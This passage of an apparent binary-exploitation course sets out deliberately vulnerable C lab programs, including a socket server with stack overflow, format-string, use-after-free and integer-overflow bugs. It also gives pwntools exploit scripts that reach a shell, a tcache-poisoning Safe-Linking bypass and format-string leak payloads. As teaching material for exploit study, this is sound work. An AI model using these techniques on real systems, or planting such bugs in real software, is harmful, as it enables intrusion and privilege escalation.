- Heap allocation order: Target must be allocated before source buffer for backward offset exploitation
- Signed arithmetic: Use
ssize_tinstead ofsize_tfor proper negative offset handling (unsigned comparison breaks) - Size field corruption: Off-by-one on size metadata creates exploitable out-of-bounds condition
- Offset calculation: Calculate signed distance from corrupted buffer to target function pointer
- Direct memory write: Use corrupted buffer bounds to write directly to target address via pointer arithmetic
Practical Exercise
Exercise: Data-Only Attack
Context: CFG (Windows) and CET (Intel) are becoming ubiquitous. Control-flow hijacking is increasingly blocked. Data-only attacks are the future.
Challenge: Achieve privilege escalation WITHOUT corrupting any code pointers.
// data_challenge.c - Modern data-only attack scenario
// Compile: gcc -fstack-protector-all -fcf-protection=full -o data_challenge data_challenge.c
// Note: All mitigations enabled! Stack canary, CET, etc.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_ITEMS 10
#define ITEM_SIZE 32
typedef struct {
char name[ITEM_SIZE];
int quantity;
float price;
} Item;
typedef struct {
char username[32];
int user_id;
int permission_level; // 0=guest, 1=user, 2=admin
float balance;
Item cart[MAX_ITEMS];
int cart_count;
} UserSession;
UserSession session;
void init_session() {
memset(&session, 0, sizeof(session));
session.user_id = getpid();
session.permission_level = 0; // Guest by default
session.balance = 100.0;
}
void set_username() {
printf("Enter username: ");
// VULNERABILITY: No bounds check!
// Username buffer is 32 bytes, but we read up to 256
read(0, session.username, 256); // OVERFLOW into user_id, permission_level
}
void add_item() {
if (session.cart_count >= MAX_ITEMS) {
printf("Cart full!\n");
return;
}
printf("Item name: ");
fgets(session.cart[session.cart_count].name, ITEM_SIZE, stdin);
session.cart[session.cart_count].name[strcspn(session.cart[session.cart_count].name, "\n")] = 0;
printf("Quantity: ");
scanf("%d", &session.cart[session.cart_count].quantity);
getchar();
printf("Price: ");
scanf("%f", &session.cart[session.cart_count].price);
getchar();
session.cart_count++;
}
void admin_panel() {
if (session.permission_level < 2) {
printf("Access denied. Permission level: %d (need 2)\n", session.permission_level);
return;
}
printf("\n=== ADMIN PANEL ===\n");
printf("User ID: %d\n", session.user_id);
printf("Permission: %d\n", session.permission_level);
printf("Balance: $%.2f\n", session.balance);
printf("Executing admin shell...\n");
system("/bin/sh");
}
void show_status() {
printf("\n=== Session Status ===\n");
printf("Username: %s", session.username);
printf("User ID: %d\n", session.user_id);
printf("Permission Level: %d\n", session.permission_level);
printf("Balance: $%.2f\n", session.balance);
printf("Cart items: %d\n", session.cart_count);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== E-Commerce Session (Data-Only Challenge) ===\n");
printf("Struct layout: username[32] | user_id[4] | permission_level[4] | balance[4]\n");
printf("Goal: Get permission_level = 2 without corrupting code pointers!\n\n");
init_session();
char choice;
while (1) {
printf("\n1) Set username\n2) Add item\n3) Admin panel\n4) Show status\n5) Exit\n> ");
choice = getchar();
getchar();
switch (choice) {
case '1': set_username(); break;
case '2': add_item(); break;
case '3': admin_panel(); break;
case '4': show_status(); break;
case '5': return 0;
}
}
}
Why Data-Only Attacks Are the Future:
┌────────────────────────────────────────────────────────────────┐
│ Modern Mitigation Landscape │
├────────────────────────────────────────────────────────────────┤
│ │
│ Stack Canary --> Blocks: Stack buffer overflow to ret addr │
│ Bypassed by: Data-only (no ret overwrite) │
│ │
│ DEP/NX --------> Blocks: Shellcode on stack/heap │
│ Bypassed by: Data-only (no code execution) │
│ │
│ ASLR ----------> Blocks: Hardcoded addresses │
│ Bypassed by: Data-only (relative corruption) │
│ │
│ CFG (Windows) -> Blocks: Indirect call to arbitrary address │
│ Bypassed by: Data-only (no indirect calls) │
│ │
│ CET (Intel) ---> Blocks: ROP, JOP via return/jump corruption │
│ Bypassed by: Data-only (no control flow change)│
│ │
│ ════════════════════════════════════════════════════════════ │
│ DATA-ONLY ATTACKS BYPASS ALL OF THESE! │
│ ════════════════════════════════════════════════════════════ │
└────────────────────────────────────────────────────────────────┘
Real-World Data-Only Targets:
| Target Type | Example | Impact |
|---|---|---|
| Permission flags | is_admin, user_role | Privilege escalation |
| Authentication state | is_authenticated | Auth bypass |
| Pointer indices | array_index | Arbitrary read/write |
| Object references | file_descriptor | File access |
| Crypto keys | session_key | Decryption |
| Network config | allowed_hosts | Access control bypass |
Defense: These attacks require data-flow integrity (DFI), not just control-flow integrity. DFI is still largely a research topic.
Exercise: Logic Bug Exploitation
Challenge: Exploit without memory corruption
// logic_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
int balance = 1000;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
void withdraw(int amount) {
// Check balance
if (amount > balance) {
printf("Insufficient funds! Balance: %d\n", balance);
return;
}
// Simulate processing delay
usleep(100); // VULNERABILITY: Time window!
// Perform withdrawal
pthread_mutex_lock(&lock);
balance -= amount;
pthread_mutex_unlock(&lock);
printf("Withdrew %d. New balance: %d\n", amount, balance);
}
void* race_thread(void *arg) {
int amount = *(int*)arg;
withdraw(amount);
return NULL;
}
int main() {
printf("Race Condition Challenge\n");
printf("Initial balance: %d\n", balance);
printf("Goal: Withdraw more than your balance!\n\n");
int amount = 800;
// Create multiple threads trying to withdraw
pthread_t threads[5];
for (int i = 0; i < 5; i++) {
pthread_create(&threads[i], NULL, race_thread, &amount);
}
for (int i = 0; i < 5; i++) {
pthread_join(threads[i], NULL);
}
printf("\nFinal balance: %d\n", balance);
if (balance < 0) {
printf("SUCCESS! You've withdrawn more than you had!\n");
}
return 0;
}
Key Takeaways
- Logic bugs bypass mitigations: DEP/ASLR/CFG don't protect against logic flaws
- Type confusion is powerful: Treating objects as wrong type leads to corruption
- UAF gives control: Dangling pointers let attackers control object contents
- Data-only attacks work: Corrupting non-pointer data achieves goals
- Race conditions exist everywhere: Check-use gaps are exploitable
Discussion Questions
- Why can't Control Flow Integrity (CFG/CET) stop data-only attacks?
- How does type confusion differ from a traditional buffer overflow?
- In the race condition example, why doesn't adding a mutex fully fix the bug?
- What makes UAF exploitation reliable compared to stack overflows?
Day 7: Integer Overflows and Putting It All Together
- Goal: Understand integer overflow exploitation and complete a multi-stage exploit.
- Activities:
- Online Resources:
- Tool Setup:
- UBSan (Undefined Behavior Sanitizer)
- Static analysis tools
- Exercise:
- Exploit integer overflow leading to buffer overflow
- Build complete multi-stage exploit chain
Deliverables
- PoC input: a concrete
(count, size, data)(or equivalent) that triggers the overflow, with the math shown - Primitive proof: demonstrated out-of-bounds write / heap overflow caused by the overflow
- Exploit: a pwntools script that completes the multi-stage chain (reaches code execution)
- Notes: root cause + the minimal safe fix (bounds/overflow checks)
Understanding Integer Overflows
What is Integer Overflow?:
- Arithmetic result exceeds type's maximum value
- Wraps around to minimum (or vice versa)
- Can lead to unexpected behavior
Examples:
// Signed overflow
int8_t x = 127;
x = x + 1; // Wraps to -128 (undefined behavior!)
// Unsigned overflow
uint8_t y = 255;
y = y + 1; // Wraps to 0 (defined behavior)
// Width conversion
uint32_t big = 0x100000000;
uint16_t small = (uint16_t)big; // Truncates to 0
// Sign conversion
int negative = -1;
unsigned int positive = negative; // Becomes 0xFFFFFFFF
Vulnerable Pattern: Size Calculation
Common Vulnerability:
void process_data(int count) {
int size = count * sizeof(int); // Integer overflow!
int *buffer = malloc(size);
for (int i = 0; i < count; i++) {
buffer[i] = i; // Out of bounds if size overflowed!
}
free(buffer);
}
// Attack:
// count = 0x40000000
// size = 0x40000000 * 4 = 0x100000000 (overflows to 0!)
// malloc(0) succeeds with small allocation
// Loop writes far beyond allocated space
Exploitable Example (int_overflow.c):
// ~/exploit/int_overflow.c
// make disabled SOURCE=int_overflow.c BINARY=int_overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
int main(int argc, char **argv) {
if (argc < 3) {
printf("Usage: %s <count> <data>\n", argv[0]);
return 1;
}
int count = atoi(argv[1]);
char *data = argv[2];
// Vulnerable calculation
int size = count + strlen(data); // Can overflow!
if (size > 0) { // Check passes with negative overflow
char *buffer = malloc(size);
strcpy(buffer, data);
printf("Allocated %d bytes\n", size);
free(buffer);
}
return 0;
}
Exploitation:
#!/usr/bin/env python3
#~/exploit/41.py
from pwn import *
binary = './int_overflow'
# Cause integer overflow to wrap around to small positive number
# INT_MAX = 0x7FFFFFFF (2147483647)
# We want: count + strlen(data) to overflow and wrap to small value
# Calculation: count = -strlen(data) + small_size (in 32-bit arithmetic)
# Example: count = 2^32 - 100 + 10 = 4294967206
# But atoi() interprets as signed, so we use negative directly
data = "A" * 1000 # Large payload
# Make size calculation wrap to ~10 bytes
# count + 1000 should overflow to 10
# count = -1000 + 10 = -990 (but we need unsigned interpretation)
# In 32-bit: -990 = 4294966306
count = -990
p = process([binary, str(count), data])
output = p.recvall()
print(output)
# malloc(10) but strcpy(buffer, 1000 bytes) = heap overflow and crash!
Real-World Example: CVE-2023-4863 (libwebp)
This critical vulnerability (CVSS 8.8) affected Chrome, Firefox, and billions of devices. It was a heap buffer overflow in the WebP lossless compression (VP8L) decoder, caused by improper handling of Huffman table sizes.
Simplified Vulnerability Concept:
// The actual bug was in BuildHuffmanTable() - simplified here
// Vulnerable pattern: size calculation without proper validation
uint32_t table_size = CalculateTableSize(code_lengths);
// table_size could be larger than allocated buffer!
HuffmanCode* table = (HuffmanCode*)malloc(initial_size);
// Later, when building the table:
for (int i = 0; i < num_codes; i++) {
// Writes beyond allocated buffer if table_size > initial_size
table[index++] = code; // HEAP OVERFLOW!
}
Exploitation Flow:
- Craft malicious WebP image with specific Huffman code lengths
- Trigger heap overflow when image is decoded
- Corrupt adjacent heap metadata or objects
- Achieve code execution in browser renderer process
Key Lesson: Integer-related bugs in size calculations are extremely common in parsers (images, fonts, documents) and lead to heap overflows. Always validate calculated sizes before use.
Detecting Integer Overflows
Using UBSan:
# Compile with UBSan (signed-integer-overflow is part of undefined sanitizer)
gcc -fsanitize=undefined int_overflow.c -o int_overflow_ubsan
# Run with overflow
./int_overflow_ubsan -990 $(python3 -c 'print("A"*1000)')
# Output shows heap corruption from the integer overflow:
# malloc(): corrupted top size
# Aborted
Multi-Stage Exploit Challenge
Final Challenge: Combine multiple techniques
Vulnerable Application (challenge.c):
//~/exploit/challenge.c
//gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
typedef struct {
char name[32];
int age;
void (*print)(void);
} User;
void normal_print() {
printf("Normal user\n");
}
void admin_print() {
printf("Admin access!\n");
system("/bin/sh");
}
User *users[10];
int user_count = 0;
void create_user(char *name, int age) {
if (user_count >= 10) {
printf("Max users reached\n");
return;
}
// Vulnerable: integer overflow in size calculation
int name_len = strlen(name);
int total_size = sizeof(User) + name_len; // Can overflow!
User *user = malloc(total_size);
strcpy(user->name, name); // Buffer overflow if allocation small!
user->age = age;
user->print = normal_print;
users[user_count++] = user;
printf("User created at %p\n", user);
}
void delete_user(int index) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
free(users[index]);
// BUG: Doesn't set to NULL (UAF!)
printf("User deleted\n");
}
// Helper to write binary data (simulates arbitrary write primitive)
void write_data(int index, int offset, unsigned long value) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
char *base = (char *)users[index];
*(unsigned long *)(base + offset) = value;
printf("Wrote %lx at offset %d\n", value, offset);
}
void print_user(int index) {
if (index < 0 || index >= user_count) {
printf("Invalid index\n");
return;
}
// UAF if user was deleted
User *user = users[index];
printf("Name: %s\n", user->name);
printf("Age: %d\n", user->age);
user->print(); // Call function pointer
}
void list_users() {
printf("Users: %d\n", user_count);
for (int i = 0; i < user_count; i++) {
printf("%d: %p\n", i, users[i]);
}
}
void show_target() {
printf("admin_print @ %p\n", admin_print);
}
int main() {
char cmd[100];
printf("Multi-Stage Exploit Challenge\n");
show_target();
while (1) {
printf("\n> ");
if (!fgets(cmd, sizeof(cmd), stdin)) break;
if (strncmp(cmd, "create ", 7) == 0) {
char name[100];
int age;
sscanf(cmd + 7, "%s %d", name, &age);
create_user(name, age);
} else if (strncmp(cmd, "delete ", 7) == 0) {
int index = atoi(cmd + 7);
delete_user(index);
} else if (strncmp(cmd, "print ", 6) == 0) {
int index = atoi(cmd + 6);
print_user(index);
} else if (strncmp(cmd, "write ", 6) == 0) {
int index, offset;
unsigned long value;
sscanf(cmd + 6, "%d %d %lx", &index, &offset, &value);
write_data(index, offset, value);
} else if (strcmp(cmd, "list\n") == 0) {
list_users();
} else if (strcmp(cmd, "target\n") == 0) {
show_target();
} else if (strcmp(cmd, "exit\n") == 0) {
break;
}
}
return 0;
}
Vulnerabilities Present:
- Integer overflow in size calculation (
total_size = sizeof(User) + name_len) - present but not exploited - Heap overflow via strcpy (no bounds checking on name) - present but not exploited
- Use-after-free (delete doesn't NULL the pointer in users array) - EXPLOITED
- Arbitrary write primitive (write_data function) - EXPLOITED
Exploitation Chain (Multi-stage tcache poisoning):
- Stage 1 - Heap Leak: Get addresses from program output (no ASLR)
- Stage 2 - Setup: Create victim and target users
- Stage 3 - UAF: Free victim, pointer remains in users array
- Stage 4 - Tcache Poisoning: Corrupt freed chunk's fd pointer using Safe-Linking
- Stage 5 - Arbitrary Write: Use write primitive to overwrite function pointer
- Stage 6 - Trigger: Call print to execute admin_print() and get shell
The Technique: Modern tcache poisoning with Safe-Linking bypass!
Multi-Stage Exploit (AMD64) - Tcache Poisoning:
try to write it yourself, then look at it
#!/usr/bin/env python3
"""
Multi-stage tcache poisoning exploit for glibc 2.39+
Exploitation stages:
Stage 1: Heap leak - Get addresses from program output
Stage 2: Create victim and target users
Stage 3: Free victim (enters tcache)
Stage 4: Tcache poisoning - Corrupt fd pointer using Safe-Linking bypass
Stage 5: Attempt to allocate twice (tcache poisoning may fail due to variable sizes)
Stage 6: Fallback - Direct overwrite of function pointer using write primitive
Stage 7: Trigger to get shell
Key insights:
- Modern glibc uses Safe-Linking: fd = target ^ (heap_addr >> 12)
- We need heap leak to calculate the mangled pointer
- Variable-size allocations make tcache unpredictable
- Direct overwrite is simpler when you have arbitrary write primitive
- Tcache poisoning is the technique to use when you DON'T have arbitrary write
"""
from pwn import *
binary = './challenge'
elf = ELF(binary)
context.binary = elf
admin_addr = elf.symbols['admin_print']
log.info(f"admin_print @ {hex(admin_addr)}")
def exploit():
p = process(binary)
# Get admin_print address
p.recvuntil(b"admin_print @ ")
leaked_addr = int(p.recvline().strip(), 16)
log.success(f"Leaked admin_print: {hex(leaked_addr)}")
# Stage 1: Create victim user and get heap address
p.sendline(b"create victim 25")
p.recvuntil(b"created at ")
victim_addr = int(p.recvline().strip(), 16)
log.info(f"Victim user at {hex(victim_addr)}")
# Stage 2: Create target user whose function pointer we'll overwrite
# We'll use tcache poisoning to get malloc to return target_addr
# Then we can overwrite its function pointer
p.sendline(b"create target 30")
p.recvuntil(b"created at ")
target_addr = int(p.recvline().strip(), 16)
log.info(f"Target user at {hex(target_addr)}")
# Calculate where the function pointer is (for reference)
# User struct: name[32] + age(4) + padding(4) + funcptr(8)
funcptr_addr = target_addr + 40
log.info(f"Function pointer at {hex(funcptr_addr)}")
# Stage 3: Free victim (goes into tcache)
p.sendline(b"delete 0")
log.info("Freed victim - now in tcache")
# Stage 4: Tcache poisoning - corrupt fd pointer using Safe-Linking
# We want the second malloc to return target_addr (not funcptr_addr!)
# Then we can write at offset 40 to overwrite the function pointer
heap_base = victim_addr >> 12
mangled_ptr = target_addr ^ heap_base # Target the USER struct, not the funcptr
log.info(f"Heap base (>>12): {hex(heap_base)}")
log.info(f"Mangled pointer: {hex(mangled_ptr)}")
# Write mangled pointer to victim's fd (offset 0 in freed chunk)
p.sendline(f"write 0 0 {mangled_ptr:x}".encode())
p.recvuntil(b"Wrote")
log.success("Corrupted tcache fd pointer")
# Stage 5: Allocate twice to get target_addr
# First malloc returns the victim chunk (removes it from tcache)
p.sendline(b"create dummy1 25")
p.recvuntil(b"created at ")
first = int(p.recvline().strip(), 16)
log.info(f"First malloc: {hex(first)}")
# Second malloc should return our poisoned target_addr
# But it's returning a different address - tcache poisoning failed!
p.sendline(b"create dummy2 25")
p.recvuntil(b"created at ")
second = int(p.recvline().strip(), 16)
log.info(f"Second malloc: {hex(second)}")
if second == target_addr:
log.success("Got arbitrary write at target user struct!")
# Now users[1] (target) and users[3] (dummy2) point to same memory!
else:
log.warning(f"Expected {hex(target_addr)}, got {hex(second)}")
log.warning("Tcache poisoning failed!")
log.warning("")
log.warning("Possible reasons:")
log.warning("1. The write corrupted the tcache structure")
log.warning("2. Malloc size mismatch (different name lengths)")
log.warning("3. Tcache has multiple entries and we got a different one")
log.warning("")
log.warning("Let's try a different approach: just overwrite target directly")
# Alternative: Since we have arbitrary write, just overwrite target's funcptr
p.sendline(f"write 1 40 {leaked_addr:x}".encode())
p.recvuntil(b"Wrote")
log.success(f"Directly overwrote target's function pointer")
p.sendline(b"print 1")
p.recvuntil(b"Admin access!")
log.success("Got shell via direct overwrite!")
p.interactive()
return
# Stage 6: Overwrite function pointer with admin_print
# Write at offset 40 of dummy2 (index 3)
p.sendline(f"write 3 40 {leaked_addr:x}".encode())
p.recvuntil(b"Wrote")
log.success(f"Overwrote function pointer with {hex(leaked_addr)}")
# Stage 7: Trigger by printing target user (index 1)
p.sendline(b"print 1")
p.recvuntil(b"Admin access!")
log.success("Got shell!")
p.interactive()
if __name__ == "__main__":
exploit()
Expected Output:
[*] admin_print @ 0x4012b0
[+] Leaked admin_print: 0x4012b0
[*] Victim user at 0x1cc3f6c0
[*] Target user at 0x1cc3f700
[*] Function pointer at 0x1cc3f728
[*] Freed victim - now in tcache
[*] Heap base (>>12): 0x1cc3f
[*] Mangled pointer: 0x1cc23b3f
[+] Corrupted tcache fd pointer
[*] First malloc: 0x1cc3f6c0
[*] Second malloc: 0x1cc3f740
[!] Expected 0x1cc3f700, got 0x1cc3f740
[!] Tcache poisoning failed!
[!]
[!] Possible reasons:
[!] 1. The write corrupted the tcache structure
[!] 2. Malloc size mismatch (different name lengths)
[!] 3. Tcache has multiple entries and we got a different one
[!]
[!] Let's try a different approach: just overwrite target directly
[+] Directly overwrote target's function pointer
[+] Got shell via direct overwrite!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
$ exit
[!TIP] Why Tcache Poisoning Failed Here:
The tcache poisoning technique is correct, but in this specific challenge:
- Variable-size allocations make tcache behavior unpredictable
- The
writeprimitive corrupts the tcache structure- Multiple chunks in tcache can cause unexpected behavior
The exploit demonstrates both approaches:
- Tcache poisoning - The "proper" heap exploitation technique
- Direct overwrite - Simpler when you have arbitrary write
In real-world scenarios without arbitrary write, you'd need to:
- Carefully control allocation sizes
- Ensure tcache has only one entry
- Avoid corrupting tcache metadata
Key Takeaways:
- Tcache poisoning is powerful - Can turn UAF into arbitrary write
- Safe-Linking adds complexity - Need heap leak to calculate mangled pointers
- Heap exploitation is tricky - Small details matter (sizes, alignment, metadata)
- Multiple approaches exist - Use the simplest one that works
- Modern glibc is harder - More protections than older versions
Compilation and Testing:
# Compile the challenge
gcc -g -O0 -fno-stack-protector -no-pie -z execstack -o challenge challenge.c
# Run the exploit
python challenge_exploit.py
# Expected: Shell access via direct overwrite fallback
Capstone Project - The Exploitation Gauntlet
- Goal: Apply all techniques to exploit a custom vulnerable server with multiple bugs.
- Activities:
- Analyze: Review source code for
vuln_server. - Plan: Identify Stack Overflow, UAF, and Format String bugs.
- Exploit: Write reliable Python exploits for each.
- Chain: Combine leaks and overwrites for a full RCE chain.
- Analyze: Review source code for
Deliverables
- Recon: map all bugs in the server (stack, heap, format string, logic, integer)
- Exploit chain: a single pwntools script that chains at least two primitives (e.g., leak → heap corrupt → shell)
- Reliability: exploit works >90% of the time
- Writeup: brief explanation of which primitives you used and why
The Challenge: VulnServer v1.0 (AMD64)
You are provided with a binary vuln_server running on port 1337. It has the following commands:
auth <name>: Vulnerable to Stack Overflow → Requires ROP chain (NX enabled!)echo <msg>: Vulnerable to Format String → Provides libc leaknote <id> <text>: Vulnerable to UAF (delete/use).
VulnServer Source Code (vuln_server.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syslog.h>
#define PORT 1337
#define MAX_NOTES 10
#define MAX_DATA_SIZE 4096
typedef struct {
char content[64];
void (*display)(char *);
} Note;
typedef struct {
char *data;
size_t size;
size_t capacity;
} DataBuffer;
Note *notes[MAX_NOTES];
DataBuffer *data_buffer = NULL;
int authenticated = 0;
int current_client_fd = -1; // Store current client FD globally
void print_note(char *content) {
printf("Note: %s\n", content);
}
// FIXED: Now redirects stdin/stdout/stderr to the socket!
void admin_shell(char *unused) {
// Log to syslog for debugging
syslog(LOG_INFO, "admin_shell() called! client_fd=%d", current_client_fd);
if (current_client_fd != -1) {
// Redirect stdin, stdout, stderr to the socket
dup2(current_client_fd, 0); // stdin
dup2(current_client_fd, 1); // stdout
dup2(current_client_fd, 2); // stderr
syslog(LOG_INFO, "File descriptors redirected");
}
write(current_client_fd, "Admin access granted!\n", 22);
syslog(LOG_INFO, "About to call system(/bin/sh)");
// Use execve to replace the process (never returns)
char *args[] = {"/bin/sh", "-i", NULL};
char *env[] = {NULL};
execve("/bin/sh", args, env);
// If execve fails, try system
system("/bin/sh -i");
syslog(LOG_INFO, "Shell exited, calling exit()");
// Make sure we never return to the caller
exit(0);
}
// Vulnerable: Stack buffer overflow
// FIXED: Use memcpy with explicit length to allow null bytes
void handle_auth(int client_fd, char *data) {
char username[64];
char response[128];
// VULNERABLE: No bounds checking!
// We need to get the length from somewhere that includes null bytes
// Since data comes from the network buffer, we'll copy a fixed large amount
memcpy(username, data, 200); // VULNERABLE! Copies way more than buffer size
if (strcmp(username, "admin") == 0) {
authenticated = 1;
sprintf(response, "Welcome, %s!\n", username);
} else {
sprintf(response, "Access denied for %s\n", username);
}
write(client_fd, response, strlen(response));
}
// Vulnerable: Format string
void handle_echo(int client_fd, char *data) {
char response[256];
snprintf(response, sizeof(response), data);
strcat(response, "\n");
write(client_fd, response, strlen(response));
}
// Vulnerable: Use-after-free
void handle_note(int client_fd, char *data) {
char cmd[16];
int id;
char content[64];
char response[128];
sscanf(data, "%15s %d %63[^\n]", cmd, &id, content);
if (id < 0 || id >= MAX_NOTES) {
write(client_fd, "Invalid ID\n", 11);
return;
}
if (strcmp(cmd, "create") == 0) {
notes[id] = malloc(sizeof(Note));
strcpy(notes[id]->content, content);
notes[id]->display = print_note;
sprintf(response, "Note %d created\n", id);
} else if (strcmp(cmd, "delete") == 0) {
free(notes[id]);
sprintf(response, "Note %d deleted\n", id);
} else if (strcmp(cmd, "show") == 0) {
if (notes[id]) {
notes[id]->display(notes[id]->content);
sprintf(response, "Note %d displayed\n", id);
} else {
sprintf(response, "Note %d is empty\n", id);
}
} else if (strcmp(cmd, "edit") == 0) {
Note *n = malloc(sizeof(Note));
strcpy(n->content, content);
n->display = print_note;
sprintf(response, "Edit buffer created\n");
} else {
sprintf(response, "Unknown note command\n");
}
write(client_fd, response, strlen(response));
}
// Vulnerable: Integer overflow
void handle_data(int client_fd, char *data) {
char cmd[16];
unsigned int size;
char response[128];
sscanf(data, "%15s %u", cmd, &size);
if (strcmp(cmd, "alloc") == 0) {
if (size > MAX_DATA_SIZE) {
write(client_fd, "Size too large\n", 15);
return;
}
if (data_buffer) {
free(data_buffer->data);
free(data_buffer);
}
data_buffer = malloc(sizeof(DataBuffer));
data_buffer->capacity = size + 1; // VULNERABLE!
data_buffer->data = malloc(data_buffer->capacity);
data_buffer->size = 0;
sprintf(response, "Allocated %u bytes\n", size);
write(client_fd, response, strlen(response));
} else if (strcmp(cmd, "write") == 0) {
if (!data_buffer) {
write(client_fd, "No buffer allocated\n", 20);
return;
}
write(client_fd, "Send data: ", 11);
ssize_t n = read(client_fd, data_buffer->data, data_buffer->capacity);
if (n > 0) {
data_buffer->size = n;
sprintf(response, "Wrote %zd bytes\n", n);
write(client_fd, response, strlen(response));
}
} else if (strcmp(cmd, "read") == 0) {
if (!data_buffer || data_buffer->size == 0) {
write(client_fd, "No data to read\n", 16);
return;
}
write(client_fd, "Data: ", 6);
write(client_fd, data_buffer->data, data_buffer->size);
write(client_fd, "\n", 1);
} else {
write(client_fd, "Unknown data command\n", 21);
}
}
void handle_client(int client_fd) {
char buffer[512];
ssize_t bytes_read;
// Store client FD globally so admin_shell can use it
current_client_fd = client_fd;
write(client_fd, "VulnServer v1.0 (FIXED)\n", 24);
write(client_fd, "Commands: auth, echo, note, data, quit\n", 40);
write(client_fd, "> ", 2);
while ((bytes_read = read(client_fd, buffer, sizeof(buffer) - 1)) > 0) {
buffer[bytes_read] = '\0';
if (bytes_read > 0 && buffer[bytes_read - 1] == '\n') {
buffer[bytes_read - 1] = '\0';
}
if (strncmp(buffer, "auth ", 5) == 0) {
handle_auth(client_fd, buffer + 5);
} else if (strncmp(buffer, "echo ", 5) == 0) {
handle_echo(client_fd, buffer + 5);
} else if (strncmp(buffer, "note ", 5) == 0) {
handle_note(client_fd, buffer + 5);
} else if (strncmp(buffer, "data ", 5) == 0) {
handle_data(client_fd, buffer + 5);
} else if (strncmp(buffer, "quit", 4) == 0) {
write(client_fd, "Goodbye!\n", 9);
break;
} else {
write(client_fd, "Unknown command\n", 16);
}
write(client_fd, "> ", 2);
}
if (data_buffer) {
free(data_buffer->data);
free(data_buffer);
}
for (int i = 0; i < MAX_NOTES; i++) {
if (notes[i]) {
free(notes[i]);
}
}
close(client_fd);
}
int main() {
int server_fd, client_fd;
struct sockaddr_in address;
int opt = 1;
// Open syslog for debugging
openlog("vuln_server", LOG_PID | LOG_CONS, LOG_USER);
syslog(LOG_INFO, "VulnServer starting...");
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
perror("socket");
exit(1);
}
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
perror("bind");
exit(1);
}
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(1);
}
printf("VulnServer (FIXED) listening on port %d...\n", PORT);
while (1) {
client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
perror("accept");
continue;
}
if (fork() == 0) {
close(server_fd);
handle_client(client_fd);
exit(0);
}
close(client_fd);
}
return 0;
}
Compile VulnServer (AMD64 - NX ENABLED!):
# AMD64 with NX enabled - requires ROP!
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_server.c -o vuln_server
# Verify protections
checksec --file=vuln_server
# Expected: NX enabled, Canary disabled, PIE disabled, Partial RELRO
# Running server in a new tab
./vuln_server &
Critical Note on Exploitation:
The handle_auth() function in the provided source uses memcpy(username, data, 200) instead of the traditional strcpy(). This is intentional for the training exercise.
Why this matters:
strcpy()stops copying at the first null byte (\x00)- x86-64 addresses always contain null bytes (e.g.,
0x0000000000401000) - With
strcpy(), the return address would never be fully overwritten memcpy()with a fixed length allows null bytes, making the exploit work
In real-world scenarios with strcpy():
- Direct stack overflow exploitation would fail
- You would need to chain vulnerabilities (format string + UAF)
- Or find alternative input methods (binary protocols, file uploads)
- Or use partial overwrites (limited effectiveness on x86-64)
This is an important lesson: not all vulnerabilities are directly exploitable due to input validation constraints!
Vulnerability Summary:
| Command | Vulnerability | Primitive | Exploitation Goal |
|---|---|---|---|
auth <name> | Stack Buffer Overflow (memcpy) | Control RIP | Direct jump to admin_shell |
echo <msg> | Format String (snprintf) | Leak + Write | Leak libc addresses, overwrite GOT |
note create/delete/show/edit | Use-After-Free | Control function pointer | Redirect to admin_shell |
data alloc <size> | Integer Overflow | Heap overflow | Corrupt heap metadata |
Note: The auth command uses memcpy() instead of strcpy() to allow null bytes in the payload. With strcpy(), this vulnerability would require chaining with other bugs (format string or UAF) for exploitation.
Exploitation Strategy:
-
Phase 1 - Stack Overflow (Direct Approach):
- Calculate offset to return address (72 bytes)
- Build payload with admin_shell address
- Handle stack alignment (add
retgadget) - Send payload and get shell
-
Phase 2 - Information Gathering (For Advanced Techniques):
- Use
echo %p.%p.%p.%p.%p.%p.%p.%pto leak stack addresses - Identify libc pointers (start with 0x7f on AMD64)
- Calculate libc base address (must end in 000)
- Use
-
Phase 3 - Alternative Attack Vectors (Optional):
- Option A: Format string arbitrary write → overwrite GOT entry
- Option B: Stack overflow with ROP → ret2libc (requires libc leak)
- Option C: UAF → overwrite function pointer with admin_shell
- Option D: Integer overflow → heap corruption → control flow hijack
Task:
- Primary Goal: Exploit
authcommand to get shell via direct jump to admin_shell - Secondary Goals (choose at least ONE):
- Use
echoformat string to leak libc addresses - Exploit
noteUAF to redirect control flow - Exploit
datainteger overflow for heap corruption
- Use
- Advanced Goal: Chain multiple vulnerabilities for a complete exploit
Practical Exercise (AMD64)
The Capstone Challenge: Build working exploits for VulnServer
- Task 1: Stack Overflow (auth command) - START HERE
- Task 2: Format String Leak (echo command)
- Task 3: UAF Exploit (note command)
- Task 4: Integer Overflow (data command)
- Task 5: Full Chain Exploit (combine multiple techniques)
Task 1
The working exploit requires modifying handle_auth() to use memcpy() instead of strcpy() because strcpy() stops at null bytes, and x86-64 addresses always contain null bytes. write it yourself, look at this in case you got stuck
#!/usr/bin/env python3
# pwn_vuln_server.py - Only Task 1, do the rest yourself
"""
This exploit works with the modified vuln_server.c that uses memcpy()
instead of strcpy() in handle_auth(), allowing null bytes in the payload.
Compile:
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none \
-Wno-format-security vuln_server.c -o vuln_server
Run:
./vuln_server &
